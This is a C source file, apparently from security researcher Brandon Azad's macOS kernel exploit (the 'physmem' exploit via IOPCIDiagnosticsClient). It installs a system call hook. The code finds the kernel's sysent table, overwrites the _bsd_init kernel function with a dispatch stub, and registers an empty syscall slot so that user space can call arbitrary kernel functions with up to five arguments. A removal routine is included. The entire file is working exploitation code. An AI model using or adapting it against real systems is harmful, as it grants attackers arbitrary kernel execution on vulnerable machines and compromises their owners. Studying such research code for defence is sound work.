/* * syscall_hook.c * Brandon Azad * * A system call hook allowing arbitrary kernel functions to be called with up to 5 arguments. * * The physmem exploit makes installing the syscall hook trivial: we don't even need to worry about * memory protections on the kernel TEXT segment because the memory is mapped writable by * IOPCIDiagnosticsClient. */ #include "syscall_hook.h" #include "fail.h" #include "kernel_image.h" #include "physmem.h" #include "syscall_code.h" #include #define _SYSCALL_RET_NONE 0 #define _SYSCALL_RET_INT_T 1 #define _SYSCALL_RET_SSIZE_T 6 #define _SYSCALL_RET_UINT64_T 7 /* * struct syscall_hook * * Description: * The state needed to install a system call hook. */ struct syscall_hook { // The location of the sysent table in kernel memory. uint64_t sysent; // The target function address. uint64_t function; // The original contents of the memory at the target function address. uint64_t *original; // The number of 64-bit words at the start of the target function that were overwritten. size_t count; // The address of _nosys in the kernel. uint64_t _nosys; }; /* * struct sysent * * Description: * An entry in the system call table. */ struct sysent { uint64_t sy_call; uint64_t sy_munge; int32_t sy_return_type; int16_t sy_narg; uint16_t sy_arg_bytes; }; extern int kernel_dispatch(void *p, uint64_t arg[6], uint64_t *ret); extern void kernel_dispatch_end(void); /* * syscall_hook * * Description: * The global syscall hook. */ static struct syscall_hook syscall_hook; /* * target_function * * Description: * The target function that will be overwritten to install the syscall hook. */ static const char target_function[] = "_bsd_init"; /* * find_sysent * * Description: * Find the system call table. */ static void find_sysent() { // Resolve the various symbols we need. uint64_t _nosys = kernel_symbol("_nosys") - kernel_slide; uint64_t _exit = kernel_symbol("_exit") - kernel_slide; uint64_t _fork = kernel_symbol("_fork") - kernel_slide; uint64_t _read = kernel_symbol("_read") - kernel_slide; uint64_t _write = kernel_symbol("_write") - kernel_slide; uint64_t _munge_w = kernel_symbol("_munge_w") - kernel_slide; uint64_t _munge_www = kernel_symbol("_munge_www") - kernel_slide; // Find the runtime address of the system call table. struct sysent sysent_init[] = { { _nosys, 0, _SYSCALL_RET_INT_T, 0, 0 }, { _exit, _munge_w, _SYSCALL_RET_NONE, 1, 4 }, { _fork, 0, _SYSCALL_RET_INT_T, 0, 0 }, { _read, _munge_www, _SYSCALL_RET_SSIZE_T, 3, 12 }, { _write, _munge_www, _SYSCALL_RET_SSIZE_T, 3, 12 }, }; uint64_t sysent = kernel_search(sysent_init, sizeof(sysent_init)); // Check that the sysent in the kernel matches what we expect. for (unsigned i = 0; i < sizeof(sysent_init) / sizeof(sysent_init[0]); i++) { sysent_init[i].sy_call += kernel_slide; if (sysent_init[i].sy_munge != 0) { sysent_init[i].sy_munge += kernel_slide; } } uint64_t sysent_data; for (unsigned i = 0; i < sizeof(sysent_init) / sizeof(sysent_data); i++) { sysent_data = kern_read(sysent + i * sizeof(sysent_data), sizeof(sysent_data)); if (sysent_data != ((uint64_t *)sysent_init)[i]) { FAIL("kernel sysent data mismatch"); } } syscall_hook.sysent = sysent; syscall_hook._nosys = _nosys + kernel_slide; } void syscall_hook_install() { if (syscall_hook.sysent == 0) { find_sysent(); } uint64_t function = kernel_symbol(target_function); const uintptr_t hook = (uintptr_t)kernel_dispatch; const size_t hook_size = (uintptr_t)kernel_dispatch_end - hook; // Check that the target syscall can be overwritten. uint64_t target_sysent = syscall_hook.sysent + SYSCALL_CODE * sizeof(struct sysent); uint64_t target_sy_call = kern_read(target_sysent + offsetof(struct sysent, sy_call), sizeof(target_sy_call)); if (target_sy_call != syscall_hook._nosys) { FAIL("target syscall is not empty"); } // Read the original data from the target function. syscall_hook.count = (hook_size + sizeof(uint64_t) - 1) & ~sizeof(uint64_t); syscall_hook.original = malloc(syscall_hook.count * sizeof(uint64_t)); if (syscall_hook.original == NULL) { FAIL("malloc failed"); } for (unsigned i = 0; i < syscall_hook.count; i++) { syscall_hook.original[i] = kern_read(function + i * sizeof(uint64_t), sizeof(uint64_t)); } // Overwrite the target function. We do this first so that if we fail partway through we // don't leave the system with an unstable syscall. for (unsigned i = 0; i < syscall_hook.count; i++) { kern_write(function + i * sizeof(uint64_t), *((uint64_t *)hook + i), sizeof(uint64_t)); } // Overwrite the sysent. We do this in reverse order so that if we fail partway through we // don't leave the system with an unstable syscall. struct sysent hook_sysent = { .sy_call = function, .sy_munge = 0, .sy_return_type = _SYSCALL_RET_UINT64_T, .sy_narg = 6, .sy_arg_bytes = 48, }; for (int i = sizeof(hook_sysent) / sizeof(uint64_t) - 1; i >= 0; i--) { kern_write(target_sysent + i * sizeof(uint64_t), *((uint64_t *)&hook_sysent + i), sizeof(uint64_t)); } syscall_hook.function = function; } void syscall_hook_remove() { if (syscall_hook.function == 0) { return; } // Replace our sysent hook with an empty sysent. uint64_t target_sysent = syscall_hook.sysent + SYSCALL_CODE * sizeof(struct sysent); struct sysent empty_sysent = { .sy_call = syscall_hook._nosys, .sy_munge = 0, .sy_return_type = _SYSCALL_RET_INT_T, .sy_narg = 0, .sy_arg_bytes = 0, }; unsigned empty_sysent_count = sizeof(empty_sysent) / sizeof(uint64_t); for (unsigned i = 0; i < empty_sysent_count; i++) { kern_write(target_sysent + i * sizeof(uint64_t), *((uint64_t *)&empty_sysent + i), sizeof(uint64_t)); } // Replace the original contents of the function we overwrote. for (unsigned i = 0; i < syscall_hook.count; i++) { kern_write(syscall_hook.function + i * sizeof(uint64_t), syscall_hook.original[i], sizeof(uint64_t)); } free(syscall_hook.original); syscall_hook.function = 0; }